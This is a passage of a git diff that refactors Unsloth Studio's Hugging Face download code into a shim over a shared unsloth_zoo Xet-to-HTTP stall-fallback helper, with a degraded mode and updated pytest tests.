     monkeypatch.setattr(
         "hub.utils.download_registry.prepare_cache_for_transport",
         lambda repo_type, repo_id, mode, *a, **k: prepared.append((repo_type, repo_id, mode)),
     )
-    fake = _install(monkeypatch, [("stall", None), ("ok", "/cache/model.gguf")])
 
     out = xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
     assert out == "/cache/model.gguf"
-    assert len(fake.calls) == 2
-    assert fake.calls[0].disable_xet is False  # Xet first
-    assert fake.calls[1].disable_xet is True  # HTTP fallback
-    assert prepared == [("model", DL_REPO, "http")], "must prep cache for HTTP before the retry"
+    assert seen_disable_xet == [False, True]  # Xet first, then HTTP
+    assert prepared == [("model", DL_REPO, "http")], "shim must run Studio's marker-aware prep"
 
 
-def test_second_stall_raises_download_stall_error(monkeypatch):
-    monkeypatch.setattr(
-        "hub.utils.download_registry.prepare_cache_for_transport", lambda *a, **k: None
-    )
-    fake = _install(monkeypatch, [("stall", None), ("stall", None)])
-    with pytest.raises(xf.DownloadStallError):
-        xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
-    assert len(fake.calls) == 2
+def test_shim_snapshot_injects_studio_prepare(monkeypatch):
+    """The snapshot wrapper forwards Studio's marker-aware prep, like the file wrapper."""
+    captured = {}
+
+    def fake_snapshot(repo_id, **kwargs):
+        captured["repo_id"] = repo_id
+        captured["prepare_for_http_fn"] = kwargs.get("prepare_for_http_fn")
+        return "/tmp/snap-dir"
+
+    monkeypatch.setattr(xf, "_shared_snapshot_download_with_xet_fallback", fake_snapshot)
+    out = xf.snapshot_download_with_xet_fallback("org/model")
+    assert out == "/tmp/snap-dir"
+    assert captured["repo_id"] == "org/model"
+    assert captured["prepare_for_http_fn"] is xf._studio_prepare_for_http
 
 
-def test_cancelled_midattempt_raises_no_fallback(monkeypatch):
-    fake = _install(monkeypatch, [("cancelled", None)])
-    with pytest.raises(RuntimeError, match = "Cancelled"):
-        xf.hf_hub_download_with_xet_fallback(DL_REPO, FILE, None)
-    assert len(fake.calls) == 1
+def test_degrades_gracefully_without_shared_helper(monkeypatch):
+    """On an older unsloth_zoo lacking the shared helper, the shim still imports (Studio
+    boots) and exposes stub API doing plain HF downloads with the watchdog disabled."""
+    import importlib
+
+    class _BlockShared:
+        def find_spec(
+            self,
+            name,
+            path = None,
+            target = None,
+        ):
+            if name == "unsloth_zoo.hf_xet_fallback":
+                raise ModuleNotFoundError(f"No module named '{name}'", name = name)
+            return None
+
+    finder = _BlockShared()
+    saved_shared = sys.modules.pop("unsloth_zoo.hf_xet_fallback", None)
+    saved_shim = sys.modules.pop("utils.hf_xet_fallback", None)
+    sys.meta_path.insert(0, finder)
+    try:
+        degraded = importlib.import_module("utils.hf_xet_fallback")
+
+        # Boots without raising and mirrors the shared API surface.
+        assert issubclass(degraded.DownloadStallError, RuntimeError)
+        assert degraded.child_should_disable_xet({"disable_xet": True}) is True
+        assert degraded.get_hf_download_state(["x"]) is None  # unmeasurable
+        event = degraded.start_watchdog(repo_ids = ["x"], on_stall = lambda m: None)
+        assert hasattr(event, "set") and not event.is_set()  # never fires
+
+        # Degraded mode still emits heartbeats so the inactivity deadline is not tripped.
+        import time as _time
+
+        beats = []
+        hb_stop = degraded.start_watchdog(
+            repo_ids = ["x"],
+            on_stall = lambda m: None,
+            on_heartbeat = beats.append,
+            interval = 0.02,
+        )
+        try:
+            deadline = _time.monotonic() + 2.0
+            while not beats and _time.monotonic() < deadline:
+                _time.sleep(0.02)
+            assert beats, "degraded watchdog emitted no heartbeat"
+        finally:
+            hb_stop.set()
+
+        # Downloads fall back to plain huggingface_hub (no watchdog, no crash).
+        called = {}
+
+        def _fake_snapshot(repo_id, **kwargs):
+            called["repo_id"] = repo_id
+            return "/snap-dir"
+
+        monkeypatch.setattr(huggingface_hub, "snapshot_download", _fake_snapshot)
+        assert degraded.snapshot_download_with_xet_fallback("org/model") == "/snap-dir"
+        assert called["repo_id"] == "org/model"
+
+        # Cancellation still holds: an already-set cancel_event aborts before the HF download.
+        import threading as _threading
+
+        cancelled = _threading.Event()
+        cancelled.set()
+        called.clear()
+        with pytest.raises(RuntimeError, match = "Cancelled"):
+            degraded.snapshot_download_with_xet_fallback("org/model", cancel_event = cancelled)
+        assert "repo_id" not in called, "degraded download ran despite cancellation"
+    finally:
+        sys.meta_path.remove(finder)
+        sys.modules.pop("utils.hf_xet_fallback", None)
+        if saved_shared is not None:
+            sys.modules["unsloth_zoo.hf_xet_fallback"] = saved_shared
+        if saved_shim is not None:
+            sys.modules["utils.hf_xet_fallback"] = saved_shim
 
 
-def test_per_file_independent_fallback(monkeypatch):
-    """A stalled shard falls back; a sibling shard that succeeds does not."""
-    monkeypatch.setattr(
-        "hub.utils.download_registry.prepare_cache_for_transport", lambda *a, **k: None
-    )
-    fake = _install(monkeypatch, [("ok", "/a"), ("stall", None), ("ok", "/b")])
-    assert xf.hf_hub_download_with_xet_fallback(DL_REPO, "shardA.gguf", None) == "/a"
-    assert xf.hf_hub_download_with_xet_fallback(DL_REPO, "shardB.gguf", None) == "/b"
-    assert [c.disable_xet for c in fake.calls] == [False, False, True]
+def test_degrades_when_unsloth_zoo_entirely_absent():
+    """When unsloth_zoo is absent entirely, the import raises
+    ModuleNotFoundError(name='unsloth_zoo') (top-level package). Guard that the shim still
+    degrades and does not re-raise, breaking every Studio import that pulls it in."""
+    import importlib
+
+    class _BlockZoo:
+        def find_spec(
+            self,
+            name,
+            path = None,
+            target = None,
+        ):
+            # Whole package absent, so ModuleNotFoundError.name is the top-level 'unsloth_zoo'.
+            if name == "unsloth_zoo" or name.startswith("unsloth_zoo."):
+                raise ModuleNotFoundError("No module named 'unsloth_zoo'", name = "unsloth_zoo")
+            return None
+
+    finder = _BlockZoo()
+    saved = {
+        k: v
+        for k, v in list(sys.modules.items())
+        if k == "unsloth_zoo" or k.startswith("unsloth_zoo.")
+    }
+    for k in saved:
+        del sys.modules[k]
+    saved_shim = sys.modules.pop("utils.hf_xet_fallback", None)
+    sys.meta_path.insert(0, finder)
+    try:
+        degraded = importlib.import_module("utils.hf_xet_fallback")
+        # Boots without raising and exposes the stub API.
+        assert issubclass(degraded.DownloadStallError, RuntimeError)
+        assert degraded.get_hf_download_state(["x"]) is None
+        event = degraded.start_watchdog(repo_ids = ["x"], on_stall = lambda m: None)
+        assert hasattr(event, "set") and not event.is_set()
+    finally:
+        sys.meta_path.remove(finder)
+        sys.modules.pop("utils.hf_xet_fallback", None)
+        sys.modules.update(saved)
+        if saved_shim is not None:
+            sys.modules["utils.hf_xet_fallback"] = saved_shim
 
 
-# --------------------------------------------------------------------------- #
-# Precondition: HF_HUB_DISABLE_XET is read at import time, so assert its effect
-# in a FRESH interpreter (huggingface/huggingface_hub#3266 once ignored it).
-# --------------------------------------------------------------------------- #
-def _safe_path() -> str:
+def test_degrades_when_shared_helper_import_raises_importerror():
+    """unsloth_zoo can be installed yet fail to import when torch is missing (llama.cpp/GGUF-only
+    Studio), raising ImportError not ModuleNotFoundError. The shim must degrade for that too."""
+    import importlib
+
+    class _BlockWithImportError:
+        def find_spec(
+            self,
+            name,
+            path = None,
+            target = None,
+        ):
+            if name == "unsloth_zoo.hf_xet_fallback":
+                # Mirror a torch-less install: a plain ImportError with no .name.
+                raise ImportError("Unsloth: Pytorch is not installed.")
+            return None
+
+    finder = _BlockWithImportError()
+    saved_shared = sys.modules.pop("unsloth_zoo.hf_xet_fallback", None)
+    saved_zoo = sys.modules.pop("unsloth_zoo", None)
+    saved_shim = sys.modules.pop("utils.hf_xet_fallback", None)
+    sys.meta_path.insert(0, finder)
+    try:
+        degraded = importlib.import_module("utils.hf_xet_fallback")
+        assert issubclass(degraded.DownloadStallError, RuntimeError)
+        assert degraded.get_hf_download_state(["x"]) is None
+        event = degraded.start_watchdog(repo_ids = ["x"], on_stall = lambda m: None)
+        assert hasattr(event, "set") and not event.is_set()
+    finally:
+        sys.meta_path.remove(finder)
+        sys.modules.pop("utils.hf_xet_fallback", None)
+        if saved_shared is not None:
+            sys.modules["unsloth_zoo.hf_xet_fallback"] = saved_shared
+        if saved_zoo is not None:
+            sys.modules["unsloth_zoo"] = saved_zoo
+        if saved_shim is not None:
+            sys.modules["utils.hf_xet_fallback"] = saved_shim
+
+
+def test_retries_under_light_gpu_init_when_import_fails(monkeypatch):
+    """GPU detection in unsloth_zoo's __init__ raises NotImplementedError on a GPU-less host. The shim
+    retries under UNSLOTH_ZOO_DISABLE_GPU_INIT=1, restores the env, and degrades if the retry fails."""
+    import importlib
     import os
-    return os.environ.get("PATH", "")
 
+    monkeypatch.delenv("UNSLOTH_ZOO_DISABLE_GPU_INIT", raising = False)
+    seen_env = []
 
-def test_disable_xet_constant_set_in_fresh_interpreter():
-    code = (
-        "from huggingface_hub import constants as c; "
-        "import sys; sys.exit(0 if c.HF_HUB_DISABLE_XET is True else 17)"
-    )
-    proc = subprocess.run(
-        [sys.executable, "-c", code],
-        env = {"HF_HUB_DISABLE_XET": "1", "PATH": _safe_path()},
-        capture_output = True,
-        text = True,
-    )
-    assert proc.returncode == 0, (
-        f"HF_HUB_DISABLE_XET=1 did not set constants.HF_HUB_DISABLE_XET=True "
-        f"(rc={proc.returncode}): {proc.stderr}"
-    )
+    class _GpuGatedBlocker:
+        def find_spec(
+            self,
+            name,
+            path = None,
+            target = None,
+        ):
+            # Crash is in unsloth_zoo's __init__, so intercept "unsloth_zoo" itself (the parent).
+            if name == "unsloth_zoo":
+                # Record the env each attempt sees; raise the no-GPU error both times so the shim
+                # degrades.
+                seen_env.append(os.environ.get("UNSLOTH_ZOO_DISABLE_GPU_INIT"))
+                raise NotImplementedError("Unsloth cannot find any torch accelerator")
+            return None
 
-
-def test_default_leaves_xet_enabled():
-    code = (
-        "from huggingface_hub import constants as c; "
-        "import sys; sys.exit(0 if c.HF_HUB_DISABLE_XET is False else 17)"
-    )
-    proc = subprocess.run(
-        [sys.executable, "-c", code],
-        env = {"PATH": _safe_path()},  # no HF_HUB_DISABLE_XET
-        capture_output = True,
-        text = True,
-    )
-    assert proc.returncode == 0, (
-        f"without the env var, constants.HF_HUB_DISABLE_XET was not False "
-        f"(rc={proc.returncode}): {proc.stderr}"
-    )
+    finder = _GpuGatedBlocker()
+    saved = {
+        k: v
+        for k, v in list(sys.modules.items())
+        if k == "unsloth_zoo" or k.startswith("unsloth_zoo.")
+    }
+    for k in saved:
+        del sys.modules[k]
+    saved_shim = sys.modules.pop("utils.hf_xet_fallback", None)
+    sys.meta_path.insert(0, finder)
+    try:
+        degraded = importlib.import_module("utils.hf_xet_fallback")
+        # First attempt without the light env, then a retry with it set.
+        assert seen_env == [None, "1"], seen_env
+        # Both attempts raised -> Studio still boots in degraded mode.
+        assert issubclass(degraded.DownloadStallError, RuntimeError)
+        # The env override must not leak past the import.
+        assert os.environ.get("UNSLOTH_ZOO_DISABLE_GPU_INIT") is None
+    finally:
+        sys.meta_path.remove(finder)
+        sys.modules.pop("utils.hf_xet_fallback", None)
+        sys.modules.update(saved)
+        if saved_shim is not None:
+            sys.modules["utils.hf_xet_fallback"] = saved_shim
diff --git a/studio/backend/tests/test_model_update_robustness.py b/studio/backend/tests/test_model_update_robustness.py
index 9cf2a62c39..300eb587b3 100644
--- a/studio/backend/tests/test_model_update_robustness.py
+++ b/studio/backend/tests/test_model_update_robustness.py
@@ -5,8 +5,8 @@
 Covers:
   * GGUF variant listing computes update_available from the already-fetched
     sibling metadata instead of a second Hub call.
-  * hf_hub_download_with_xet_fallback(force_download=True) bypasses the
-    try_to_load_from_cache cache-first early-return.
+  * hf_hub_download_with_xet_fallback forwards force_download through the shim to the
+    shared unsloth_zoo helper (which owns the cache-first early-return and its bypass).
 
 The cache "Update" action now runs through the download manager as a normal
 managed download (so it shows in the Downloads panel with progress + cancel),
@@ -341,44 +341,26 @@ def test_cached_model_scan_keeps_local_safetensors_repo(monkeypatch, tmp_path):
 # ── hf_hub_download_with_xet_fallback force_download bypass (X2/F2) ───
 
 
-def test_force_download_bypasses_cache_first_early_return(monkeypatch):
-    """force_download=True skips the try_to_load_from_cache early-return and
-    proceeds to the real download path; force_download=False returns the cached
-    path without ever attempting a download (X2/F2)."""
-    import huggingface_hub as hf
+def test_force_download_is_forwarded_through_the_shim(monkeypatch):
+    """The shim's contract is to forward force_download unchanged to the shared helper (which owns the
+    cache-first early-return and bypass). Verify both False and True reach it (X2/F2)."""
     import utils.hf_xet_fallback as X
 
-    cached_path = "/cache/blob/cached.gguf"
+    seen = []
 
-    # Pretend the blob IS cached on disk (try_to_load_from_cache is imported
-    # inside the function from huggingface_hub, and os.path.exists must agree).
-    monkeypatch.setattr(hf, "try_to_load_from_cache", lambda *a, **k: cached_path, raising = False)
-    monkeypatch.setattr(X.os.path, "exists", lambda p: True, raising = False)
+    def fake_shared(repo_id, filename, token, **kwargs):
+        seen.append(kwargs.get("force_download"))
+        return "/downloaded/path"
 
-    attempts = []
+    monkeypatch.setattr(X, "_shared_hf_hub_download_with_xet_fallback", fake_shared, raising = True)
 
-    def fake_attempt(repo_id, filename, token, **kwargs):
-        attempts.append(
-            {"repo_id": repo_id, "filename": filename, "force": kwargs.get("force_download")}
-        )
-        return ("ok", "/freshly/downloaded/path")
-
-    monkeypatch.setattr(X, "_run_download_attempt", fake_attempt, raising = True)
-
-    # force_download=False: cache-first early-return, no download attempt.
-    out = X.hf_hub_download_with_xet_fallback(
+    X.hf_hub_download_with_xet_fallback(
         "unsloth/repo", "model.gguf", token = None, force_download = False
     )
-    assert out == cached_path
-    assert attempts == []  # never reached the real download
-
-    # force_download=True: bypass the early-return, run the real download.
-    out2 = X.hf_hub_download_with_xet_fallback(
+    X.hf_hub_download_with_xet_fallback(
         "unsloth/repo", "model.gguf", token = None, force_download = True
     )
-    assert out2 == "/freshly/downloaded/path"
-    assert len(attempts) == 1
-    assert attempts[0]["force"] is True
+    assert seen == [False, True]  # the shim forwards force_download to the shared helper unchanged
 
 
 # ── multi-revision GGUF blob comparison and update reclaim ──
diff --git a/studio/backend/utils/hf_xet_fallback.py b/studio/backend/utils/hf_xet_fallback.py
index 15961ac03a..2dd2247396 100644
--- a/studio/backend/utils/hf_xet_fallback.py
+++ b/studio/backend/utils/hf_xet_fallback.py
@@ -1,341 +1,204 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Xet-primary HF downloads with an automatic HTTP fallback on a no-progress stall.
+"""Studio shim over the shared ``unsloth_zoo.hf_xet_fallback`` Xet -> HTTP stall fallback.
 
-Xet (``hf_xet``) is the fast default but can hang with no progress and no
-exception, and a blocked native thread cannot be killed. Keep Xet primary; fall
-back to plain HTTP only when the parent observes a stall. ``HF_HUB_DISABLE_XET``
-is read at import time, so the fallback runs in a fresh ``spawn`` child (not a
-thread) that sets the env before importing ``huggingface_hub``. Cached files
-short-circuit with no child; deterministic errors (401/403/404/disk-full) and
-cancellation propagate without a fallback. Mirrors the safetensors inference
-recovery in core/inference/{orchestrator,worker}.py.
+Re-exports the shared API and injects Studio's marker-aware cache purge
+(``prepare_cache_for_transport``) so the download manager keeps its ``.transport``
+marker semantics on the HTTP retry.
 """
 
 from __future__ import annotations
 
-import multiprocessing as mp
-import os
-import queue
-import signal
-import sys
 import threading
-import time
 from typing import Any, Callable, Optional
 
-from loggers import get_logger
+_shared_import_error = None
+try:
+    import unsloth_zoo.hf_xet_fallback as _shared
+    _shared_available = True
+except Exception as _exc:  # noqa: BLE001 - any import failure must degrade, not crash
+    # unsloth_zoo's __init__ runs torch/GPU detection, which raises on a torch-less/GPU-less Studio
+    # host. The download helper needs none of it, so retry via the light UNSLOTH_ZOO_DISABLE_GPU_INIT
+    # path before giving up.
+    _shared_import_error = _exc
+    import os as _os
 
-logger = get_logger(__name__)
-
-_CTX = mp.get_context("spawn")
-
-# Defaults match the existing inference watchdog and hub shutdown deadline.
-DEFAULT_HEARTBEAT_INTERVAL = 30.0
-DEFAULT_STALL_TIMEOUT = 180.0
-DEFAULT_GRACE_PERIOD = 10.0
-_POLL_INTERVAL = 0.5
-
-
-class DownloadStallError(RuntimeError):
-    """Raised when no download progress is observed for too long.
-
-    Canonical home; orchestrator.py re-imports it so all paths share one type.
-    """
-
-
-def child_should_disable_xet(config: dict) -> bool:
-    """Single source of truth for the per-worker Xet env flip."""
-    return bool(config.get("disable_xet"))
-
-
-def get_hf_download_state(
-    repo_ids: Optional[list[str]] = None, *, repo_type: str = "model"
-) -> Optional[tuple[int, bool]]:
-    """Return ``(total_on_disk_bytes, has_incomplete)`` for the active HF cache.
-
-    Sparse-aware (st_blocks based) so a sparse Xet/``hf_transfer`` ``.incomplete``
-    is not mistaken for full-size progress. ``None`` means the state could not be
-    measured, so callers skip stall logic for that tick.
-    """
+    _prev_gpu_init = _os.environ.get("UNSLOTH_ZOO_DISABLE_GPU_INIT")
+    _os.environ["UNSLOTH_ZOO_DISABLE_GPU_INIT"] = "1"
     try:
-        from hub.utils.hf_cache_state import (
-            blob_bytes_present,
-            has_active_incomplete_blobs,
-            hf_cache_root,
-            iter_active_repo_cache_dirs,
-        )
+        import unsloth_zoo.hf_xet_fallback as _shared
+        _shared_available = True
+        _shared_import_error = None
+    except Exception as _exc2:  # noqa: BLE001 - degrade so Studio still boots with plain HF downloads
+        _shared_import_error = _exc2
+        _shared_available = False
+    finally:
+        if _prev_gpu_init is None:
+            _os.environ.pop("UNSLOTH_ZOO_DISABLE_GPU_INIT", None)
+        else:
+            _os.environ["UNSLOTH_ZOO_DISABLE_GPU_INIT"] = _prev_gpu_init
 
-        if hf_cache_root() is None:
-            return (0, False)
+if _shared_available:
+    # Bind by assignment so each public name shares one module-level binding with the degraded branch.
+    DEFAULT_GRACE_PERIOD = _shared.DEFAULT_GRACE_PERIOD
+    DEFAULT_HEARTBEAT_INTERVAL = _shared.DEFAULT_HEARTBEAT_INTERVAL
+    DEFAULT_STALL_TIMEOUT = _shared.DEFAULT_STALL_TIMEOUT
+    DownloadStallError = _shared.DownloadStallError
+    child_should_disable_xet = _shared.child_should_disable_xet
+    get_hf_download_state = _shared.get_hf_download_state
+    start_watchdog = _shared.start_watchdog
+    _shared_hf_hub_download_with_xet_fallback = _shared.hf_hub_download_with_xet_fallback
+    _shared_snapshot_download_with_xet_fallback = _shared.snapshot_download_with_xet_fallback
+else:
+    # Degrade instead of crashing Studio: plain HF downloads, stall watchdog disabled. Thin stubs,
+    # not a second copy of the orchestration; recovery returns once unsloth_zoo is upgraded.
+    import logging as _logging
 
-        total = 0
-        has_incomplete = False
-        for repo_id in repo_ids or []:
-            # Skip local paths: HF IDs never start with / . ~ or contain "\".
-            if not repo_id or repo_id.startswith(("/", ".", "~")) or "\\" in repo_id:
-                continue
-            for entry in iter_active_repo_cache_dirs(repo_type, repo_id):
-                blobs_dir = entry / "blobs"
-                if not blobs_dir.is_dir():
-                    continue
-                for blob in blobs_dir.iterdir():
-                    try:
-                        if blob.is_file():
-                            total += blob_bytes_present(blob)
-                    except OSError:
-                        pass
-            if has_active_incomplete_blobs(repo_type, repo_id):
-                has_incomplete = True
-        return (total, has_incomplete)
-    except Exception as e:
-        logger.debug("Failed to determine HF download state: %s", e)
-        return None
+    _logging.getLogger(__name__).warning(
+        "unsloth_zoo.hf_xet_fallback unavailable (%s); the Xet stall watchdog is "
+        "disabled. Install/upgrade unsloth_zoo (and its torch dependency) to "
+        "re-enable automatic Xet -> HTTP download recovery.",
+        _shared_import_error,
+    )
 
+    DEFAULT_HEARTBEAT_INTERVAL = 30.0
+    DEFAULT_STALL_TIMEOUT = 180.0
+    DEFAULT_GRACE_PERIOD = 10.0
 
-def start_watchdog(
-    *,
-    repo_ids: list[str],
-    on_stall: Callable[[str], None],
-    repo_type: str = "model",
-    interval: float = DEFAULT_HEARTBEAT_INTERVAL,
-    stall_timeout: float = DEFAULT_STALL_TIMEOUT,
-    xet_disabled: bool = False,
-    on_heartbeat: Optional[Callable[[str], None]] = None,
-) -> threading.Event:
-    """Start a daemon thread that fires ``on_stall(message)`` exactly once iff a
-    ``*.incomplete`` is present AND the on-disk size is unchanged for
-    *stall_timeout* seconds. The timer resets while no ``*.incomplete`` exists, so
-    post-download init is never misread as a stall. Returns a stop event the
-    caller sets when the download phase ends.
-    """
-    stop = threading.Event()
-    transport = "https" if xet_disabled else "xet"
-    fired = False
+    class DownloadStallError(RuntimeError):
+        """Stub mirror so callers' ``except`` clauses resolve; never raised in degraded mode."""
 
-    def _beat() -> None:
-        nonlocal fired
-        state = get_hf_download_state(repo_ids, repo_type = repo_type)
-        last_size = state[0] if state is not None else 0
-        last_change = time.monotonic()
+    def child_should_disable_xet(config: dict) -> bool:
+        return bool(config.get("disable_xet"))
 
-        while not stop.wait(interval):
-            state = get_hf_download_state(repo_ids, repo_type = repo_type)
-            now = time.monotonic()
+    def get_hf_download_state(*args: Any, **kwargs: Any) -> None:
+        return None  # unmeasurable -> the (absent) watchdog never fires
 
-            if state is None:
-                if on_heartbeat is not None:
+    def start_watchdog(
+        *,
+        on_heartbeat: "Optional[Callable[[str], None]]" = None,
+        interval: float = DEFAULT_HEARTBEAT_INTERVAL,
+        xet_disabled: bool = False,
+        **kwargs: Any,
+    ) -> "threading.Event":
+        # No stall detection, but keep emitting heartbeats so the orchestrator's inactivity deadline
+        # is not tripped during a long download.
+        stop = threading.Event()
+        if on_heartbeat is None:
+            return stop
+        transport = "https" if xet_disabled else "xet"
+
+        def _beat() -> None:
+            while not stop.wait(interval):
+                try:
                     on_heartbeat(f"Downloading ({transport} transport)...")
-                continue
+                except Exception:
+                    pass
 
-            current_size, has_incomplete = state
-            if current_size != last_size:
-                last_size = current_size
-                last_change = now
+        threading.Thread(
+            target = _beat,
+            daemon = True,
+            name = "hf-xet-degraded-heartbeat",
+        ).start()
+        return stop
 
-            # Reset unless .incomplete confirms an active download, so model init
-            # and lock waits are not counted as a stall.
-            if not has_incomplete:
-                last_change = now
-            elif now - last_change >= stall_timeout:
-                if not fired:
-                    fired = True
-                    on_stall(
-                        f"Download appears stalled ({transport} transport) "
-                        f"-- no progress for {int(now - last_change)}s"
-                    )
-                return
+    def _degraded_cancelled(cancel_event: "Optional[threading.Event]") -> bool:
+        return cancel_event is not None and cancel_event.is_set()
 
-            if on_heartbeat is not None:
-                on_heartbeat(f"Downloading ({transport} transport)...")
+    def _shared_hf_hub_download_with_xet_fallback(
+        repo_id: str,
+        filename: str,
+        token: Optional[str],
+        *,
+        repo_type: str = "model",
+        revision: Optional[str] = None,
+        cache_dir: Optional[str] = None,
+        force_download: bool = False,
+        cancel_event: "Optional[threading.Event]" = None,
+        **_ignored: Any,
+    ) -> str:
+        # Keep the cancellation contract: do not start or return a download once cancelled.
+        if _degraded_cancelled(cancel_event):
+            raise RuntimeError("Cancelled")
 
-    threading.Thread(target = _beat, daemon = True, name = "hf-xet-watchdog").start()
-    return stop
-
-
-def _download_child_entry(
-    *,
-    repo_id: str,
-    filename: str,
-    token: Optional[str],
-    repo_type: str,
-    disable_xet: bool,
-    result_queue: Any,
-    force_download: bool = False,
-) -> None:
-    """Spawn-child entrypoint: download one file and report the result.
-
-    Top-level and picklable. Sets the Xet env BEFORE importing huggingface_hub,
-    forms its own process group so the parent can kill the whole transfer, and
-    never logs the token or signed URLs.
-    """
-    # Die with Studio on Linux (this mp child gets no parent-set preexec_fn).
-    try:
-        from utils.process_lifetime import bind_current_process_to_parent_lifetime
-        bind_current_process_to_parent_lifetime()
-    except Exception:
-        pass
-
-    if hasattr(os, "setsid"):
-        try:
-            os.setsid()
-        except OSError:
-            pass
-
-    if disable_xet:
-        os.environ["HF_HUB_DISABLE_XET"] = "1"
-        # Keep the HTTP writer sequential and resumable (hf_transfer leaves sparse
-        # partials a sequential resume cannot safely continue).
-        os.environ["HF_HUB_ENABLE_HF_TRANSFER"] = "0"
-    os.environ.setdefault("HF_HUB_DISABLE_PROGRESS_BARS", "1")
-
-    # Test-only fault injection (never set in production): stall the Xet attempt
-    # so the watchdog + HTTP fallback can be exercised against a real repo.
-    if not disable_xet and os.environ.get("UNSLOTH_HF_XET_FORCE_STALL") == "1":
-        import time as _t
-        try:
-            from huggingface_hub.constants import HF_HUB_CACHE
-
-            blobs = os.path.join(HF_HUB_CACHE, "models--" + repo_id.replace("/", "--"), "blobs")
-            os.makedirs(blobs, exist_ok = True)
-            with open(os.path.join(blobs, "xet-force-stall.incomplete"), "wb") as fh:
-                fh.write(b"\0" * 4096)
-        except OSError:
-            pass
-        while True:
-            _t.sleep(3600)
-
-    try:
         from huggingface_hub import hf_hub_download
+
         path = hf_hub_download(
             repo_id = repo_id,
             filename = filename,
-            repo_type = repo_type,
             token = token,
+            repo_type = repo_type,
+            revision = revision,
+            cache_dir = cache_dir,
             force_download = force_download,
         )
-        result_queue.put({"ok": True, "path": path})
-    except BaseException as e:  # noqa: BLE001 - report every failure to the parent
-        error = f"{type(e).__name__}: {e}"
-        try:
-            from hub.utils.download_registry import scrub_secrets
-            error = scrub_secrets(error, hf_token = token)
-        except Exception:
-            pass
-        result_queue.put({"ok": False, "error": error})
+        if _degraded_cancelled(cancel_event):
+            raise RuntimeError("Cancelled")
+        return path
 
+    def _shared_snapshot_download_with_xet_fallback(
+        repo_id: str,
+        *,
+        revision: Optional[str] = None,
+        token: Optional[str] = None,
+        repo_type: str = "model",
+        cache_dir: Optional[str] = None,
+        allow_patterns: Optional[Any] = None,
+        ignore_patterns: Optional[Any] = None,
+        force_download: bool = False,
+        cancel_event: "Optional[threading.Event]" = None,
+        **_ignored: Any,
+    ) -> str:
+        if _degraded_cancelled(cancel_event):
+            raise RuntimeError("Cancelled")
 
-def _terminate_process_group(proc: "mp.process.BaseProcess", grace_period: float) -> None:
-    """Kill *proc* and its whole process group (Xet may spawn helper procs).
+        from huggingface_hub import snapshot_download
 
-    The child calls ``os.setsid()`` so its pgid equals its pid; signal via
-    ``os.killpg(pid, ...)`` -- NOT ``getpgid``, which before the child becomes a
-    group leader resolves to OUR group. SIGTERM, then SIGKILL after *grace_period*.
-    """
-    pid = proc.pid
-
-    def _signal_group(sig: int) -> None:
-        if pid is not None and hasattr(os, "killpg"):
-            try:
-                os.killpg(pid, sig)
-                return
-            except (ProcessLookupError, PermissionError, OSError):
-                pass
-        # Windows or pre-setsid: best effort on the single process.
-        try:
-            proc.terminate() if sig != getattr(signal, "SIGKILL", -9) else proc.kill()
-        except Exception:
-            pass
-
-    _signal_group(getattr(signal, "SIGTERM", signal.SIGINT))
-    proc.join(timeout = grace_period)
-    if proc.is_alive():
-        _signal_group(getattr(signal, "SIGKILL", signal.SIGTERM))
-        proc.join(timeout = 5.0)
-
-
-def _run_download_attempt(
-    repo_id: str,
-    filename: str,
-    token: Optional[str],
-    *,
-    repo_type: str,
-    disable_xet: bool,
-    cancel_event: Optional[threading.Event],
-    stall_timeout: float,
-    interval: float,
-    grace_period: float,
-    on_status: Optional[Callable[[str], None]],
-    force_download: bool = False,
-) -> tuple[str, Optional[str]]:
-    """Run one download in a spawn child supervised by the no-progress watchdog.
-
-    Returns ``("ok", path)``, ``("stall", None)``, ``("cancelled", None)``, or
-    ``("error", message)``. This is the seam tests monkeypatch to avoid spawning.
-    """
-    result_queue: Any = _CTX.Queue()
-    proc = _CTX.Process(
-        target = _download_child_entry,
-        kwargs = dict(
+        path = snapshot_download(
             repo_id = repo_id,
-            filename = filename,
-            token = token,
             repo_type = repo_type,
-            disable_xet = disable_xet,
-            result_queue = result_queue,
+            revision = revision,
+            token = token,
+            cache_dir = cache_dir,
+            allow_patterns = allow_patterns,
+            ignore_patterns = ignore_patterns,
             force_download = force_download,
-        ),
-        daemon = True,
-    )
-    proc.start()
-    from utils.process_lifetime import adopt_pid
-
-    adopt_pid(proc.pid)  # bind to parent lifetime (Windows job / sweep)
-
-    stalled = threading.Event()
-    stop_watchdog = start_watchdog(
-        repo_ids = [repo_id],
-        on_stall = lambda msg: stalled.set(),
-        repo_type = repo_type,
-        interval = interval,
-        stall_timeout = stall_timeout,
-        xet_disabled = disable_xet,
-        on_heartbeat = on_status,
-    )
-
-    result: Optional[dict] = None
-    try:
-        while proc.is_alive():
-            if cancel_event is not None and cancel_event.is_set():
-                _terminate_process_group(proc, grace_period)
-                return ("cancelled", None)
-            if stalled.is_set():
-                _terminate_process_group(proc, grace_period)
-                return ("stall", None)
-            try:
-                result = result_queue.get(timeout = _POLL_INTERVAL)
-                break
-            except queue.Empty:
-                continue
-        else:
-            # Process exited; drain any result it enqueued.
-            try:
-                result = result_queue.get_nowait()
-            except queue.Empty:
-                result = None
-    finally:
-        stop_watchdog.set()
-        proc.join(timeout = grace_period)
-
-    if result is None:
-        return (
-            "error",
-            f"download process for '{repo_id}/{filename}' exited "
-            f"(code={proc.exitcode}) without a result",
         )
-    if result.get("ok"):
-        return ("ok", result["path"])
-    return ("error", result.get("error") or "unknown download error")
+        if _degraded_cancelled(cancel_event):
+            raise RuntimeError("Cancelled")
+        return path
+
+
+__all__ = [
+    "DEFAULT_GRACE_PERIOD",
+    "DEFAULT_HEARTBEAT_INTERVAL",
+    "DEFAULT_STALL_TIMEOUT",
+    "DownloadStallError",
+    "child_should_disable_xet",
+    "get_hf_download_state",
+    "start_watchdog",
+    "hf_hub_download_with_xet_fallback",
+    "snapshot_download_with_xet_fallback",
+]
+
+
+def _studio_prepare_for_http(repo_type: str, repo_id: str) -> None:
+    """Studio's marker-aware purge before an HTTP resume, keeping the download manager's ``.transport``
+    accounting consistent (vs unsloth_zoo's generic default). Guarded: a purge failure is logged,
+    not fatal to the retry."""
+    try:
+        from hub.utils.download_registry import prepare_cache_for_transport
+        prepare_cache_for_transport(repo_type, repo_id, "http")
+    except Exception as exc:
+        try:
